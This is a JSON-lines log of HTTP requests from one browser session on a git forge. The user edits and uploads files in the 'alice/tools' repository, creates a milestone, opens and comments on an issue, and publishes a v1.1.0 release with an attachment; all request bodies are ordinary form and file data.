{"method": "GET", "target": "/alice/tools/src/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 272", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "last_commit=2a8b9144333b5cb8075a74c64b31dbaa7ea02b3c&page_has_posted=&tree_path=docs%2Fpython3-setup.md&content=%23+Setup%0D%0A%0D%0AInstall+the+tools.%0D%0A&commit_summary=Add+setup+notes&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
{"method": "GET", "target": "/assets/js/---.8673fbd3.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/------.2befb329.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/vendors-node_modules_codemirror_lang-markdown_dist_index_js.eef88d50.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/main/docs/python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/_upload/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 224", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4q9JlyMIwlkOQ1ZY", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundary4q9JlyMIwlkOQ1ZY\r\nContent-Disposition: form-data; name=\"file\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n------WebKitFormBoundary4q9JlyMIwlkOQ1ZY--\r\n"}
{"method": "POST", "target": "/alice/tools/_upload/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 229", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_upload/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "tree_path=&files=cde01135-f509-483d-af4a-56d1f754aa2c&files_fullpath%5Bcde01135-f509-483d-af4a-56d1f754aa2c%5D=notes.txt&commit_summary=Add+notes&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
{"method": "GET", "target": "/alice/tools/src/branch/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_upload/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/labels", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/css/colorpicker.6c3c1b7d.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/labels", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/colorpicker.eb94c3c5.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/labels", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/milestones/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/milestones/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 36", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "title=Version+1.1&deadline=&content="}
{"method": "GET", "target": "/alice/tools/milestones", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US; flash=success%3DThe%2Bmilestone%2B%2522Version%2B1.1%2522%2Bhas%2Bbeen%2Bcreated."], "body": ""}
{"method": "GET", "target": "/alice/tools/issues/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/issues/attachments", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 5018", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZATiKc8Kvm2f9kjJ", "Origin: http://example.com", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundaryZATiKc8Kvm2f9kjJ\r\nContent-Disposition: form-data; name=\"file\"; filename=\"screenshot.png\"\r\nContent-Type: image/png\r\n\r\n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 truncated
{"method": "POST", "target": "/alice/tools/issues/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 1281", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypBVS0yCpwcYAG4g1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nBuild fails on a clean checkout\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nThe build stops after the first step. It works on the second try.\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"files\"\r\n\r\n179d62f5-4ae4-4e5e-9893-269ae399ca12\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"files_fullpath[179d62f5-4ae4-4e5e-9893-269ae399ca12]\"\r\n\r\nscreenshot.png\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"ref\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"edit_mode\"\r\n\r\ntrue\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"search\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"label_ids\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"milestone_id\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"project_id\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"assignee_ids\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1--\r\n"}
{"method": "POST", "target": "/-/fetch-redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 38", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "redirect=%2Falice%2Ftools%2Fissues%2F1"}
{"method": "GET", "target": "/alice/tools/issues/1", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues/1/content-history/overview", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/attachments/179d62f5-4ae4-4e5e-9893-269ae399ca12", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues/1", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/issues/1/comments", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 163", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuLA6czyWTpPLGhxN", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundaryuLA6czyWTpPLGhxN\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nThanks, I can see it too.\r\n------WebKitFormBoundaryuLA6czyWTpPLGhxN--\r\n"}
{"method": "POST", "target": "/-/fetch-redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 55", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "redirect=%2Falice%2Ftools%2Fissues%2F1%23issuecomment-1"}
{"method": "GET", "target": "/alice/tools/issues/1", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/releases/attachments", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 227", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygH3DxdI69SJCwZ2b", "Origin: http://example.com", "Referer: http://example.com/alice/tools/releases/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundarygH3DxdI69SJCwZ2b\r\nContent-Disposition: form-data; name=\"file\"; filename=\"tools-linux-amd64.tar.gz\"\r\nContent-Type: application/gzip\r\n\r\neJwryc/PKVZIysxLLKosGQFsAIkDYLk=\r\n------WebKitFormBoundarygH3DxdI69SJCwZ2b--\r\n"}
{"method": "POST", "target": "/alice/tools/releases/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 261", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/releases/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "tag_name=v1.1.0&tag_target=main&title=Version+1.1.0&content=Faster+builds.&attachment-template-new-name=&attachment-template-new-exturl=&files=a637a7ba-b419-4ec3-8c33-1c119e93bc14&files_fullpath%5Ba637a7ba-b419-4ec3-8c33-1c119e93bc14%5D=tools-linux-amd64.tar.gz"}
